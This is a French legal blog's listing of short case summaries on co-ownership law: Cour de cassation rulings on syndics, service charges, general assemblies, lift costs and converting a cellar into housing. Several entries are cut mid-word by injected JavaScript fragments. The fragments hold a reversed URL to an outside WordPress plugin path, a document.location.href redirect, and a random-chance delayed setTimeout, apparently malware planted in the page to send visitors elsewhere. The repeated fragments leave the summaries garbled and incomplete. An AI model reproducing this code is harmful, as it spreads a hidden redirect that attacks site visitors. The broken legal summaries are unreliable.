Cass., Civ., 3ème, 11 juillet 2019 (n°18-10503) Lors de cette vente, il est apparu des vices cachés. Un appel en garantie a dû être fait auprès du Syndic des copropriétaires. Dans cette affaire, M. et Mme V… ont acquis de la société civile immobilière N… un appartement situé en rez-de-chaussée…
Assemblée générale de copropriété et absence de mention du copropriétaire identifiable Cass., Civ., 3ème, 11 juillet 2019 (n°18-18615) La Cour de cassation a jugé que « l’absence de mention sur le procès-verbal du nom du copropriétaire ayant voté contre la résolution soumise au vote était sans incidence sur la régularité du…
Charges d’ascenseur à parts égales entre toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les lots de copropriété et critère d’utilité, Cass., Civ., 3ème, 9 mai 2019 (n° 18-17334) La…
Un copropriétaire peut-il transformer une cave en local d’habitation ? Cours Cassation, Civil, 3ème, 6 septembre 2018 (n° 17-22172) Dans un arrêt en date du 6 septembre 2018, la Cour de cassation a confirmé un arrêt de Cour d’appel qui avait jugé que la cave ne pouvait pas être transformée…
Prescription de l’action en contestation d’un appel de charges (Civ., 3ème, 1er février 2018, n°16-26992) La Cour de cassation a rappelé que le délai de contestation d’un appel de charges se prescrivait par 10 ans s’agissant d’une action personnelle. La Cour a ainsi statué : « Vu l’article 42 de la loi…
Destination bourgeoise d’un immeuble et location HLM Défaut de qualité à agir du syndicat (Civ., 3ème, 23 novembre 2017, N° de pourvoi: 16-20805) La Cour de cassation a jugé que la destination bourgeoise d’un immeuble n’interdit pas la location à des locataires HLM et a ainsi jugé : « Mais attendu qu’ayant…
Désignation du Président de l’assemblé générale de copropriété (Cour de cassation, 3e chambre civile, 22 Mars 2018 – n° 16-27.481) Dans un arrêt en date du 22 mars 2018, la Cour de cassation, se fondant sur l’article 15 du décret du 17 mars 1967 a jugé que l’assemblée générale de…
(Cass., Civ., 3ème, 6 juillet 2017, n°16-16849) Dans cet arrêt, la Cour de cassation semble toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donner une valeur contractuelle à l’état descriptif de division et a statué ainsi : « Mais attendu qu’ayant souverainement retenu que l’état descriptif de division, auquel le règlement de copropriété avait…
(CA Versailles, 1ère Ch., 2ème sect , 27 juin 2017, n°16/01759) La Cour d’appel de Versailles a retenu la responsabilité du syndicat des copropriétaires pour défaut d’élagage des arbres situés en parties communes. Le préjudice des copropriétaires est constitué par la perte de luminosité et d’ensoleillement de leur jardin privatif et de…
La convocation d’assemblée générale antérieurement à l’expiration du contrat de syndic Dans cette affaire, la Cour de cassation a jugé que la convocation à l’assemblée générale de copropriété est valable dès lors que le mtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6);…